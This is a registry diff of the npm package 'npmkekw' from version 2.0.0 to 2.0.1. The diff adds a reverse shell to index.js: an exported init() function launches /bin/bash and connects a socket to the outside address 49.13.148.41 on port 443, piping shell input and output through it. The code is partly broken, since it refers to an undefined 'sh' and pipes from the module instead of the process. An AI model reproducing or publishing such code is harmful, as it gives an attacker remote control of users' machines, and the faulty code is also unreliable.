npmkekw 2.0.0 → 2.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +10 -10
- package/package.json +2 -4
package/index.js
CHANGED
|
@@ -1,12 +1,12 @@
|
|
|
1
|
-
import
|
|
2
|
-
import
|
|
1
|
+
import net from "net";
|
|
2
|
+
import cp from "child_process";
|
|
3
3
|
|
|
4
|
-
export function
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
})
|
|
4
|
+
export function init() {
|
|
5
|
+
cp.exec("/bin/bash");
|
|
6
|
+
var client = new net.Socket();
|
|
7
|
+
client.connect(443, "49.13.148.41", function() {
|
|
8
|
+
client.pipe(sh.stdin);
|
|
9
|
+
cp.stdout.pipe(client);
|
|
10
|
+
cp.stderr.pipe(client);
|
|
11
|
+
});
|
|
12
12
|
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "npmkekw",
|
|
3
|
-
"version": "2.0.
|
|
3
|
+
"version": "2.0.1",
|
|
4
4
|
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
@@ -10,7 +10,5 @@
|
|
|
10
10
|
"author": "",
|
|
11
11
|
"license": "MIT",
|
|
12
12
|
"type": "module",
|
|
13
|
-
"files":
|
|
14
|
-
"index.js"
|
|
15
|
-
]
|
|
13
|
+
"files":["index.js"]
|
|
16
14
|
}
|